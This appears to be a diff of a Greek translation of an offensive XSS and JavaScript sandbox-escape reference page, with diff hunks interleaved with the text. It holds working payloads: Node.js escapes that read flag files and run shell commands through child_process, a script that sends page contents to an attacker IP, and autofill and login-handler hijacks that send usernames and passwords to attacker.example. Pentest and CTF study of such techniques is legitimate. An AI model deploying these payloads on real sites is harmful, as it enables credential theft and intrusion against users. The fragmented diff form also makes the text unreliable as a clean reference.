έγκυρες λύσεις για προβλήματα XSJail: +Εάν έχετε μόνο ένα περιορισμένο σύνολο χαρακτήρων διαθέσιμο, δείτε αυτές τις άλλες έγκυρες λύσεις για προβλήματα XSJail: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() @@ -1026,14 +1041,14 @@ constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` -Αν **όλα είναι undefined** πριν την εκτέλεση μη αξιόπιστου κώδικα (όπως σε [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) είναι δυνατόν να δημιουργηθούν χρήσιμα αντικείμενα "εκ του μηδενός" για να καταχραστεί η εκτέλεση αυθαίρετου μη αξιόπιστου κώδικα: +Αν **όλα είναι undefined** πριν από την εκτέλεση μη αξιόπιστου κώδικα (όπως στο [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) είναι δυνατόν να δημιουργηθούν χρήσιμα αντικείμενα «από το τίποτα» για να καταχραστεί η εκτέλεση αυθαίρετου μη αξιόπιστου κώδικα: -- Χρήση import() +- Χρησιμοποιώντας import() ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) ``` -- Πρόσβαση στο `require` έμμεσα +- Έμμεση πρόσβαση στο `require` [According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) τα modules τυλίγονται από το Node.js μέσα σε μια συνάρτηση, όπως φαίνεται παρακάτω: ```javascript @@ -1041,7 +1056,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) // our actual module code }) ``` -Επομένως, αν από εκείνη τη μονάδα μπορούμε να **καλέσουμε άλλη συνάρτηση**, είναι δυνατόν να χρησιμοποιήσουμε `arguments.callee.caller.arguments[1]` από αυτή τη συνάρτηση για να αποκτήσουμε πρόσβαση στο **`require`**: +Επομένως, αν από εκείνο το module μπορούμε να **καλέσουμε μια άλλη συνάρτηση**, είναι δυνατό να χρησιμοποιήσουμε `arguments.callee.caller.arguments[1]` από εκείνη τη συνάρτηση για να αποκτήσουμε πρόσβαση στο **`require`**: ```javascript ;(function () { return arguments.callee.caller.arguments[1]("fs").readFileSync( @@ -1050,7 +1065,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync( ) })() ``` -Με παρόμοιο τρόπο με το προηγούμενο παράδειγμα, είναι δυνατό να **use error handlers** για να αποκτήσετε πρόσβαση στον **wrapper** του **module** και να πάρετε τη **`require`** function: +Με παρόμοιο τρόπο με το προηγούμενο παράδειγμα, είναι δυνατό να **χρησιμοποιήσετε χειριστές σφαλμάτων** για να αποκτήσετε πρόσβαση στο **wrapper** του module και να πάρετε τη συνάρτηση **`require`**: ```javascript try { null.f() @@ -1088,9 +1103,9 @@ console.log(req("child_process").execSync("id").toString()) } trigger() ``` -### Obfuscation & Advanced Bypass +### Απόκρυψη & Προηγμένη Παράκαμψη -- **Διαφορετικές obfuscations σε μία σελίδα:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) +- **Διάφορες τεχνικές απόκρυψης σε μία σελίδα:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) @@ -1269,7 +1284,7 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o] ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` -## XSS common payloads +## XSS κοινά payloads ### Πολλαπλά payloads σε 1 @@ -1280,7 +1295,7 @@ steal-info-js.md ### Iframe Trap -Κάντε τον χρήστη να πλοηγηθεί στη σελίδα χωρίς να βγει από το iframe και να υποκλέψετε τις ενέργειές του (συμπεριλαμβανομένων των πληροφοριών που αποστέλλονται σε φόρμες): +Κάνε τον χρήστη να πλοηγηθεί στη σελίδα χωρίς να βγει από το iframe και να κλέψεις τις ενέργειές του (συμπεριλαμβανομένων των πληροφοριών που αποστέλλονται σε φόρμες): {{#ref}} @@ -1310,9 +1325,9 @@ steal-info-js.md ``` > [!TIP] -> **Δεν θα μπορείτε να αποκτήσετε πρόσβαση στα cookies από JavaScript** αν το flag HTTPOnly έχει οριστεί στο cookie. Αλλά εδώ έχετε [μερικούς τρόπους για να παρακάμψετε αυτήν την προστασία](../hacking-with-cookies/index.html#httponly) αν είστε αρκετά τυχεροί. +> Δεν θα μπορείτε να έχετε πρόσβαση στα **cookies από JavaScript** αν το HTTPOnly flag έχει οριστεί στο cookie. Αλλά εδώ έχετε [μερικούς τρόπους για να παρακάμψετε αυτήν την προστασία](../hacking-with-cookies/index.html#httponly) αν είστε αρκετά τυχεροί. -### Κλέψτε το περιεχόμενο της σελίδας +### Κλοπή περιεχομένου σελίδας ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8" var attacker = "http://10.10.14.8/exfil" @@ -1325,7 +1340,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) xhr.open("GET", url, true) xhr.send(null) ``` -### Εύρεση εσωτερικών διευθύνσεων IP +### Εύρεση εσωτερικών IPs ```html ``` -### Καταγραφή κωδικών Auto-fill +### Καταγραφή Auto-fill passwords ```javascript Username:
@@ -1420,11 +1435,11 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated. +Όταν εισάγονται δεδομένα στο πεδίο password, το username και το password αποστέλλονται στον attacker server — ακόμη και αν ο client επιλέξει ένα saved password και δεν γράψει τίποτα, τα credentials θα ex-filtrated. ### Hijack form handlers to exfiltrate credentials (const shadowing) -Αν ένας κρίσιμος handler (π.χ., `function DoLogin(){...}`) δηλώνεται αργότερα στη σελίδα, και το payload σας τρέχει νωρίτερα (π.χ., μέσω ενός inline JS-in-JS sink), ορίστε πρώτα ένα `const` με το ίδιο όνομα για να προλάβετε και να κλειδώσετε τον handler. Μετέπειτα δηλώσεις function δεν μπορούν να rebind ένα `const` όνομα, αφήνοντας το hook σας υπό έλεγχο: +Εάν ένας κρίσιμος handler (π.χ., `function DoLogin(){...}`) δηλώνεται αργότερα στη σελίδα, και το payload σας τρέχει νωρίτερα (π.χ., μέσω ενός inline JS-in-JS sink), ορίστε πρώτα ένα `const` με το ίδιο όνομα για να προλάβετε και να κλειδώσετε τον handler. Αργότερες δηλώσεις function δεν μπορούν να επαναδεσμεύσουν ένα `const` όνομα, αφήνοντας το hook σας υπό έλεγχο: ```javascript const DoLogin = () => { const pwd = Trim(FormInput.InputPassword.value); @@ -1433,20 +1448,20 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom }; ``` Σημειώσεις -- Αυτό βασίζεται στη σειρά εκτέλεσης: your injection πρέπει να εκτελεστεί πριν από την νόμιμη δήλωση. -- Αν το payload σας είναι τυλιγμένο σε `eval(...)`, οι δεσμεύσεις `const/let` δεν θα γίνουν globals. Χρησιμοποιήστε τη δυναμική ` ``` -### Κλοπή μηνυμάτων PostMessage +### Υποκλοπή μηνυμάτων PostMessage ```html